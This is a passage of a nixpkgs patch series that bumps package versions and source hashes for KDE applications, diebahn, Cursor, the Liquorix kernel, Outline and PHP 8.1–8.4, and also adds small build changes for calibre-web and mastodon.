+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/messagelib-25.04.3.tar.xz",
+    "hash": "sha256-hwSP68utmCe47B2JSqc5ltXEjXhAJzoE2vt94AmRwOs="
   },
   "mimetreeparser": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/mimetreeparser-25.04.2.tar.xz",
-    "hash": "sha256-nNsEJ48DxzwHrAuEDURJFGDjq0MRMzI9JqTB7whLbjc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/mimetreeparser-25.04.3.tar.xz",
+    "hash": "sha256-JqREDVDKYtsfFUeUVX1aIWrMRK6WNH4HIgAlWiZ8SsQ="
   },
   "minuet": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/minuet-25.04.2.tar.xz",
-    "hash": "sha256-bQGHHfD2Zvv8nIS61scUaVVpDmo3tGc46YBY+KW/tRQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/minuet-25.04.3.tar.xz",
+    "hash": "sha256-jYvX44kWIkMsUqm50L9Lwak6zp/dGf1DS7eHI54RcFc="
   },
   "neochat": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/neochat-25.04.2.tar.xz",
-    "hash": "sha256-4yK9tD57IC7aLENfxiJH+q/y5WjiWCPsVfrYzEU5tMY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/neochat-25.04.3.tar.xz",
+    "hash": "sha256-rUQ4X/3Xj4E0Q/rIcCAD7hbTav7e0L3wL9TJKMSHxTw="
   },
   "okular": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/okular-25.04.2.tar.xz",
-    "hash": "sha256-vyEC/ndptQThk01GvymTmKZSn6KpbKMCv3iYwTGyXOo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/okular-25.04.3.tar.xz",
+    "hash": "sha256-0LW7Cw7qtGqiNnyNgQlhhb0iYXEHAchPHG4jmOUFi/s="
   },
   "palapeli": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/palapeli-25.04.2.tar.xz",
-    "hash": "sha256-HWDwUKagpQJQilvkSUq483v1MmswMB9DJxMl2JjMNxQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/palapeli-25.04.3.tar.xz",
+    "hash": "sha256-seIlOsonyOaQsc0gT6KsH+OfGM8Qa+Sj75bek0Er2E8="
   },
   "parley": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/parley-25.04.2.tar.xz",
-    "hash": "sha256-i+QWqdSEkRElkLdYNsveiUD8MwPoCzGJSF+3qVCDGf8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/parley-25.04.3.tar.xz",
+    "hash": "sha256-XkpWiAm6sMCxP0zHSiOLNqemd5fruh5VJ0UBWnLnEAY="
   },
   "partitionmanager": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/partitionmanager-25.04.2.tar.xz",
-    "hash": "sha256-MAn6gW9kCHQ6ZYDK936IvOsT86jDG8UnuDrMLwzd5PU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/partitionmanager-25.04.3.tar.xz",
+    "hash": "sha256-IWpFdNm2O1LHSrOGySz41cK2NK/svPvdc0to2fzl68o="
   },
   "picmi": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/picmi-25.04.2.tar.xz",
-    "hash": "sha256-bni4JESztJ7lkIwrMIQsU9mhu4nR8YJaXZ9Ho/xuNPo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/picmi-25.04.3.tar.xz",
+    "hash": "sha256-yU9aP+ikQBtAAeIf8+J0y0Ie5W8u99rq/4gdpwmmaqU="
   },
   "pim-data-exporter": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/pim-data-exporter-25.04.2.tar.xz",
-    "hash": "sha256-XBeX+YTCQ6Z9qmawUnrtEAnnHdyBVTNjsBuIdaRROMM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/pim-data-exporter-25.04.3.tar.xz",
+    "hash": "sha256-hRiykrAp9kPITPW05Hn/JkIos+H+BSYzzBh2RQvVWNI="
   },
   "pim-sieve-editor": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/pim-sieve-editor-25.04.2.tar.xz",
-    "hash": "sha256-XEc8Yasx1flHvGAaN5j2RXUOuss8VwxMHAE8LZVIiH4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/pim-sieve-editor-25.04.3.tar.xz",
+    "hash": "sha256-siSC18dOJXi8NH0IzHlY8hRmFIKCbxTI9elXyS9uwAY="
   },
   "pimcommon": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/pimcommon-25.04.2.tar.xz",
-    "hash": "sha256-fXUk3guIiwF2uPQNO1df/uiiVcY2clN8fdOTVDaCoM0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/pimcommon-25.04.3.tar.xz",
+    "hash": "sha256-fmy1VM4lRQ8tm5iAXWQE6NYQ/aQRAD60phcmxxBESFU="
   },
   "plasmatube": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/plasmatube-25.04.2.tar.xz",
-    "hash": "sha256-VE+A27ADyB/CD4PHZfGYx+4xxrfH740Zck5veiSZk6c="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/plasmatube-25.04.3.tar.xz",
+    "hash": "sha256-vQXjtMo76H0FwjLfkmg7+9WLtiOdGK1gGr5LTpz5sPs="
   },
   "poxml": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/poxml-25.04.2.tar.xz",
-    "hash": "sha256-W6hrBuFVs02o96Bwsw7YjNjY8kXFa4XPmS9XSrNZ3bg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/poxml-25.04.3.tar.xz",
+    "hash": "sha256-NeFY24XGwVJQ67F/YwYq1beOg+p/ocyWbtjKGYr4kRA="
   },
   "qmlkonsole": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/qmlkonsole-25.04.2.tar.xz",
-    "hash": "sha256-HRtXvE36fUpWurLMVBnsltGScJ3IsJZQE8aVAaym+Uo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/qmlkonsole-25.04.3.tar.xz",
+    "hash": "sha256-cFDfgoJjKlNPgd352vmGl24BYLCQj0Eqviccf2nm31U="
   },
   "qrca": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/qrca-25.04.2.tar.xz",
-    "hash": "sha256-JfXR4CXGsGGtV5j7u7KuhZGqQtAFVuOn8hEK0GIYGiU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/qrca-25.04.3.tar.xz",
+    "hash": "sha256-puEtUCAUNIzmSomT9iwCDDL55HsTjm2nCIvxGvZHvUc="
   },
   "rocs": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/rocs-25.04.2.tar.xz",
-    "hash": "sha256-6NWvbNY80VpBGV8Q8doJKEw+hqH91h1OC+vM0Bs0Nf8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/rocs-25.04.3.tar.xz",
+    "hash": "sha256-eqCVtmBdvZB1JQsHDTiLePwtc59IO0BKQRgse/twWpk="
   },
   "signon-kwallet-extension": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/signon-kwallet-extension-25.04.2.tar.xz",
-    "hash": "sha256-6AMuGGLZPAs+DKgul+cZvn4mFkfK4LZvRnMO01msgRI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/signon-kwallet-extension-25.04.3.tar.xz",
+    "hash": "sha256-dZGItNxhPvd1AyxlOAqN/A81uJM+v1Nl6rynfbZ95dA="
   },
   "skanlite": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/skanlite-25.04.2.tar.xz",
-    "hash": "sha256-0W1GV6sItYhaerh703au0APhrL96n1HC6fDrH8Xd2WQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/skanlite-25.04.3.tar.xz",
+    "hash": "sha256-psFsUwovkQUwJVjQajd6e8B2vnUXp2kHfJSmQxcn9Gg="
   },
   "skanpage": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/skanpage-25.04.2.tar.xz",
-    "hash": "sha256-W7JjzHrbPlIhF/rOWvpPmGU8noM5f50qoe2Rz5o0RzE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/skanpage-25.04.3.tar.xz",
+    "hash": "sha256-Zyf/2b1XbtvQtKCEFiXP9dc3DmyLZnxm1fU1XNsaLi0="
   },
   "skladnik": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/skladnik-25.04.2.tar.xz",
-    "hash": "sha256-OVXFIN3mztNULYIeFONXcBd2DH0odEdLSbBc54f8Kz4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/skladnik-25.04.3.tar.xz",
+    "hash": "sha256-nce8LnFI2dBVGme9Vrao+sNPwXzPEbrwQHW4s5ryffw="
   },
   "step": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/step-25.04.2.tar.xz",
-    "hash": "sha256-OKbl6vndh+WiGhYjWsMQJrBXsJ6uUDFQdp9RcNvJQH4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/step-25.04.3.tar.xz",
+    "hash": "sha256-CqhuLdC+u9nai4t30No82STiW+cISsyvEYUNUYV/uj4="
   },
   "svgpart": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/svgpart-25.04.2.tar.xz",
-    "hash": "sha256-r7pScDFInTIVETTjHCvhMge+HyJO15Y/HYFwoqKNKpw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/svgpart-25.04.3.tar.xz",
+    "hash": "sha256-GT+FLX0fuk7HrSXdWdVn1Yu2Uz5DalDYD1T+G5QgKyQ="
   },
   "sweeper": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/sweeper-25.04.2.tar.xz",
-    "hash": "sha256-dSkF7hMvSpu093rUcm2Nx/rwMf5VCHJMnCiJwA05vVE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/sweeper-25.04.3.tar.xz",
+    "hash": "sha256-yinXHLoWSQDFNCgzvy/HdMkkOQMCzAjbkUaYwHDsB/M="
   },
   "telly-skout": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/telly-skout-25.04.2.tar.xz",
-    "hash": "sha256-y9WL88hXb7K1q86mAZY2OkNmr+1JFm/z+LrBjiKM9+k="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/telly-skout-25.04.3.tar.xz",
+    "hash": "sha256-l1ob5vZ2NwnAzi7ob4+B5d4vOHRKrhKoYNiaUFsROrU="
   },
   "tokodon": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/tokodon-25.04.2.tar.xz",
-    "hash": "sha256-OZ7SFwimek/D9f3/sWMK8b5qgtUmubZNU+lW7seVS6w="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/tokodon-25.04.3.tar.xz",
+    "hash": "sha256-fv+8Z+zC9sATiYtOORkkZ09BGJLlE8fo9b3lalReMxc="
   },
   "umbrello": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/umbrello-25.04.2.tar.xz",
-    "hash": "sha256-A5uXFlRzktcoGr4UQM8kIZyMArWSeLrX8tOmIUVsfSQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/umbrello-25.04.3.tar.xz",
+    "hash": "sha256-6aBlu2Jsl6SLtD6ZJIm1jBUCYWYBRQXkKFLW6Wm+jsM="
   },
   "yakuake": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/yakuake-25.04.2.tar.xz",
-    "hash": "sha256-ZfzsKcRCyLVFJ/fQbhJQYL85mXQT9WHhRr5LXL0LuWM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/yakuake-25.04.3.tar.xz",
+    "hash": "sha256-t6v1ftjmjRe+31HULco8tqJrMWuDBHb+3NtByzWdbAM="
   },
   "zanshin": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/zanshin-25.04.2.tar.xz",
-    "hash": "sha256-Ceflyk/XiHdyLvu1beXwwL1IEcy/UvT7I+e2Jti9sSI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/zanshin-25.04.3.tar.xz",
+    "hash": "sha256-92+VsMc6eY0fudzAU2dFas4yIpbz7Kpow089amZAQVg="
   }
 }
\ No newline at end of file

From 268630d39ae1428e9153ec3295500d47947f8490 Mon Sep 17 00:00:00 2001
From: Yuchen He <yuchenhe126@gmail.com>
Date: Thu, 3 Jul 2025 18:31:26 +0200
Subject: [PATCH 1985/4511] diebahn: 2.8.1 -> 2.8.2

Signed-off-by: Yuchen He <yuchenhe126@gmail.com>
(cherry picked from commit 2a76484e23d63ffaf19fe3ddb3dce76cdfd828f2)
---
 pkgs/by-name/di/diebahn/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/di/diebahn/package.nix b/pkgs/by-name/di/diebahn/package.nix
index 3eb6f534986b..abea858d30e7 100644
--- a/pkgs/by-name/di/diebahn/package.nix
+++ b/pkgs/by-name/di/diebahn/package.nix
@@ -24,18 +24,18 @@
 
 stdenv.mkDerivation rec {
   pname = "diebahn";
-  version = "2.8.1";
+  version = "2.8.2";
 
   src = fetchFromGitLab {
     owner = "schmiddi-on-mobile";
     repo = "railway";
     tag = version;
-    hash = "sha256-mHHebsQKxjwsQd14oVDnencCCL8hOWIWhKF/J9aVeBU=";
+    hash = "sha256-pPjOl46R8hBpyKdwq/gwHv/qCtFkI0LVDsqxcQOgtkU=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-M6z8HfGehd+AdOEJZgmmonfqQa7Jevte+TaaatqRZHQ=";
+    hash = "sha256-kxt6z2RaSnlso/Jz36B9VNwti2o3b8+Ggd4zDIjFf2c=";
   };
 
   nativeBuildInputs = [

From 342c1a485f08b6efc815c71d4b9d421c6cf3c536 Mon Sep 17 00:00:00 2001
From: alper-han <89567766+alper-han@users.noreply.github.com>
Date: Fri, 4 Jul 2025 00:28:58 +0300
Subject: [PATCH 1986/4511] code-cursor: 1.1.3 -> 1.2.1

(cherry picked from commit 970f64a0e9880053529d40720383757e4f11be06)
---
 pkgs/by-name/co/code-cursor/package.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 2f228d1ed763..725e38a37160 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -16,20 +16,20 @@ let
 
   sources = {
     x86_64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/linux/x64/Cursor-1.1.3-x86_64.AppImage";
-      hash = "sha256-mOwWNbKKykMaLFxfjaoGGrxfyhLX++fqJ0TXQtKVD8c=";
+      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/linux/x64/Cursor-1.2.1-x86_64.AppImage";
+      hash = "sha256-2rOs5+85crKO/N9dCQLFfUXTfP9JVVR1s/g0bK2E78s=";
     };
     aarch64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/linux/arm64/Cursor-1.1.3-aarch64.AppImage";
-      hash = "sha256-1uWfTOrBcCX6QWTwB9C45RsjLqu2C89DQkqKFTHsKxg=";
+      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/linux/arm64/Cursor-1.2.1-aarch64.AppImage";
+      hash = "sha256-Otg+NyW1DmrqIb0xqZCfJ4ys61/DBOQNgaAR8PMOCfg=";
     };
     x86_64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/darwin/x64/Cursor-darwin-x64.dmg";
-      hash = "sha256-q5/bmv+QDAkuMOUcaCspJrkaxrz9dBRJKf1eFhk9M04=";
+      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/darwin/x64/Cursor-darwin-x64.dmg";
+      hash = "sha256-Rh1erFG7UtGwO1NaM5+tq17mI5WdIX750pIzeO9AK+Q=";
     };
     aarch64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/darwin/arm64/Cursor-darwin-arm64.dmg";
-      hash = "sha256-vgcPwbRXFRtxIAUqbozFD9b21/XUAAojMv9/UnEYvb8=";
+      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/darwin/arm64/Cursor-darwin-arm64.dmg";
+      hash = "sha256-k/j3hJnHIdtfK9+T0aq2gFkRM+JulDt4FpU7n4HGEYM=";
     };
   };
 
@@ -39,7 +39,7 @@ in
   inherit useVSCodeRipgrep;
   commandLineArgs = finalCommandLineArgs;
 
-  version = "1.1.3";
+  version = "1.2.1";
   pname = "cursor";
 
   # You can find the current VSCode version in the About dialog:

From 10a82ad3f25c1c3a618abd9577cba4ad612b8534 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 07:19:16 +0000
Subject: [PATCH 1987/4511] linuxKernel.kernels.linux_lqx: 6.15.2 -> 6.15.3

(cherry picked from commit 4b083a7db8bd55fad5acb8a794f3944e5f27472f)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index d7d22d01d3f6..298a9aa5b90e 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.2"; # lqx
+      version = "6.15.3"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "05996kw51z1j3rjz1asyj4cbcq283bwii0pxc29c6d5kd15883q9"; # lqx
+      sha256 = "13zzfb01sn4bsfwh6gk37078wvbixprc7dl4794wqh9anw28dmsw"; # lqx
       isLqx = true;
     };
   };

From 6a05a59d1728fe86b4eaf9e93ee9190ed6b6327a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 04:20:36 +0000
Subject: [PATCH 1988/4511] linuxKernel.kernels.linux_lqx: 6.15.3 -> 6.15.4

(cherry picked from commit 4ade3719f09d94629f10e047c9caad9b93ca8038)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 298a9aa5b90e..03628b4577b8 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.3"; # lqx
-      suffix = "lqx1"; # lqx
-      sha256 = "13zzfb01sn4bsfwh6gk37078wvbixprc7dl4794wqh9anw28dmsw"; # lqx
+      version = "6.15.4"; # lqx
+      suffix = "lqx2"; # lqx
+      sha256 = "197m75li8lhkcil8mkb402v8f166n0m52l450dar8mq4y89r7x3j"; # lqx
       isLqx = true;
     };
   };

From 35c5470d66385c3365ae3c8f4677ca111643dcea Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 07:01:04 +0000
Subject: [PATCH 1989/4511] outline: 0.84.0 -> 0.85.0

(cherry picked from commit ba56fdf223f92773ec4a040d2f020c80cb4f187d)
---
 pkgs/servers/web-apps/outline/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/web-apps/outline/default.nix b/pkgs/servers/web-apps/outline/default.nix
index 053bdd106ebd..2529ba6acb92 100644
--- a/pkgs/servers/web-apps/outline/default.nix
+++ b/pkgs/servers/web-apps/outline/default.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation rec {
   pname = "outline";
-  version = "0.84.0";
+  version = "0.85.0";
 
   src = fetchFromGitHub {
     owner = "outline";
     repo = "outline";
     rev = "v${version}";
-    hash = "sha256-wTarO1nVta4rxkJRa3NIhyu0IJUukO5trOdOj16Zwn0=";
+    hash = "sha256-xzZQ0+eJOznZWpApbh9SUGuA5XiLnbhQS0qBLrLfk9Y=";
   };
 
   nativeBuildInputs = [
@@ -35,7 +35,7 @@ stdenv.mkDerivation rec {
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-iXaiTPjbAV/aRIdUYrIf0Y4z43yRALqSxjF5wB2q0Mg=";
+    hash = "sha256-/CXIZKI8eeK21PRIVZnRMOkwNNbj0vC0PZuT6rZBwG4=";
   };
 
   configurePhase = ''

From e8d47aaf86a2c3ce8893dce0241ad8bfc13adbe9 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 4 Jul 2025 07:26:21 +0200
Subject: [PATCH 1990/4511] php81: 8.1.32 -> 8.1.33

ChangeLog: https://www.php.net/ChangeLog-8.php#8.1.33
(cherry picked from commit b5309c0046853bb20b4aeb6fd43998f8645e81e5)
---
 pkgs/development/interpreters/php/8.1.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.1.nix b/pkgs/development/interpreters/php/8.1.nix
index d969e6c65a66..cc5fef956dcf 100644
--- a/pkgs/development/interpreters/php/8.1.nix
+++ b/pkgs/development/interpreters/php/8.1.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     (removeAttrs _args [ "fetchpatch" ])
     // {
-      version = "8.1.32";
-      hash = "sha256-oE/dPfBflI34qPLF0nq1TB9DgixSXzH9IMGaKCRS0Hw=";
+      version = "8.1.33";
+      hash = "sha256-tlU0UYQcGlaYZdf9yDAkYh7kQ0zY+/6woxWIrJxwaF8=";
     }
   );
 in

From 17f6f5925ae30c005bebc41b7cdab2f5d779b3f2 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 4 Jul 2025 07:26:42 +0200
Subject: [PATCH 1991/4511] php82: 8.2.28 -> 8.2.29

ChangeLog: https://www.php.net/ChangeLog-8.php#8.2.29
(cherry picked from commit f8792321d725579e3c36a5c8f59049ce0d5b135f)
---
 pkgs/development/interpreters/php/8.2.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.2.nix b/pkgs/development/interpreters/php/8.2.nix
index c7c9ba75fa7c..63f25b21ba66 100644
--- a/pkgs/development/interpreters/php/8.2.nix
+++ b/pkgs/development/interpreters/php/8.2.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.2.28";
-      hash = "sha256-KRnMG5IZCljcF5BLkuYmYAuWzkmkxy53UTeGpEBqzOU=";
+      version = "8.2.29";
+      hash = "sha256-UZeejRmMut4qrU/+n1PdPwT5YC0wieWXmYXgWK3kJnw=";
     }
   );
 in

From 8ece00ae724e37062cbc58de08d33be2ea178f64 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 4 Jul 2025 07:27:01 +0200
Subject: [PATCH 1992/4511] php83: 8.3.22 -> 8.2.23

ChangeLog: https://www.php.net/ChangeLog-8.php#8.3.23
(cherry picked from commit 629b7488d740100d4e980214399b2561d9594a03)
---
 pkgs/development/interpreters/php/8.3.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.3.nix b/pkgs/development/interpreters/php/8.3.nix
index 00325c5ccb63..6f707647e2fe 100644
--- a/pkgs/development/interpreters/php/8.3.nix
+++ b/pkgs/development/interpreters/php/8.3.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.3.22";
-      hash = "sha256-mRM+LNoq83uqedsX2O/UFGKPFKAux18UGKCqP2qmZzs=";
+      version = "8.3.23";
+      hash = "sha256-BUiPe5Z9kKUJMvBnTcNW4beV9SLwKYtc4ktoDeIzwtQ=";
     }
   );
 in

From 27276d1e84dac269802e0ce2cde58ce92dae9719 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 4 Jul 2025 07:29:53 +0200
Subject: [PATCH 1993/4511] php84: 8.4.8 -> 8.4.10

ChangeLog: https://www.php.net/ChangeLog-8.php#8.4.10
(cherry picked from commit d23be9b417dde2cb9ab1e720b3a13d54f12b5827)
---
 pkgs/development/interpreters/php/8.4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.4.nix b/pkgs/development/interpreters/php/8.4.nix
index 11a74cee28dc..3c0e0cc9640d 100644
--- a/pkgs/development/interpreters/php/8.4.nix
+++ b/pkgs/development/interpreters/php/8.4.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.4.8";
-      hash = "sha256-NlacZN0UmeVwxDZgO2Qe7nzeSvV2r3hll9DucRs6Ooo=";
+      version = "8.4.10";
+      hash = "sha256-iBXRBlnN5fA75NFpIF1it7Ke0O3HzdhLY4TNoDEMMQg=";
     }
   );
 in

From 395e2b5f8c42106b620ab6be5e136e9451afc369 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 03:32:30 +0800
Subject: [PATCH 1994/4511] calibre-web: fix build

(cherry picked from commit b79c68f48b62a61f815a6b7ac7c6af6892055e2b)
---
 pkgs/by-name/ca/calibre-web/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ca/calibre-web/package.nix b/pkgs/by-name/ca/calibre-web/package.nix
index 6e7fe46c42fa..c89c1a3307d3 100644
--- a/pkgs/by-name/ca/calibre-web/package.nix
+++ b/pkgs/by-name/ca/calibre-web/package.nix
@@ -133,6 +133,7 @@ python3Packages.buildPythonApplication rec {
     "lxml"
     "pypdf"
     "regex"
+    "tornado"
   ];
 
   nativeCheckInputs = lib.flatten (lib.attrValues optional-dependencies);

From 679f3ea14b9cf4c07bf1d1240c0e4090647550b1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=9B=A7-440729=20=5Bsophie=5D?= <sophie@999eagle.moe>
Date: Fri, 23 May 2025 23:00:41 +0200
Subject: [PATCH 1995/4511] mastodon: allow specifying missingHashes when
 overriding src

(cherry picked from commit e95626ec05157709c75c74f3d3a2c96999617966)
---
 pkgs/servers/mastodon/default.nix | 3 +++
 pkgs/servers/mastodon/source.nix  | 1 +
 pkgs/servers/mastodon/update.sh   | 1 +
 3 files changed, 5 insertions(+)

diff --git a/pkgs/servers/mastodon/default.nix b/pkgs/servers/mastodon/default.nix
index 54e0c8624d94..095358d55656 100644
--- a/pkgs/servers/mastodon/default.nix
+++ b/pkgs/servers/mastodon/default.nix
@@ -19,6 +19,7 @@
   srcOverride ? callPackage ./source.nix { inherit patches; },
   gemset ? ./. + "/gemset.nix",
   yarnHash ? srcOverride.yarnHash,
+  yarnMissingHashes ? srcOverride.yarnMissingHashes,
 }:
 
 stdenv.mkDerivation rec {
@@ -36,9 +37,11 @@ stdenv.mkDerivation rec {
     pname = "${pname}-modules";
     inherit src version;
 
+    missingHashes = yarnMissingHashes;
     yarnOfflineCache = yarn-berry.fetchYarnBerryDeps {
       inherit src;
       hash = yarnHash;
+      missingHashes = yarnMissingHashes;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/servers/mastodon/source.nix b/pkgs/servers/mastodon/source.nix
index b1c8389786c1..4dcc524f01b3 100644
--- a/pkgs/servers/mastodon/source.nix
+++ b/pkgs/servers/mastodon/source.nix
@@ -19,4 +19,5 @@ in
 // {
   inherit version;
   yarnHash = "sha256-IC4d/skIHEzJPuKlq4rMAqV+ydqquA6toq4WWCfuDxo=";
+  yarnMissingHashes = null;
 }
diff --git a/pkgs/servers/mastodon/update.sh b/pkgs/servers/mastodon/update.sh
index 330e53676b7a..ca1c52d77872 100755
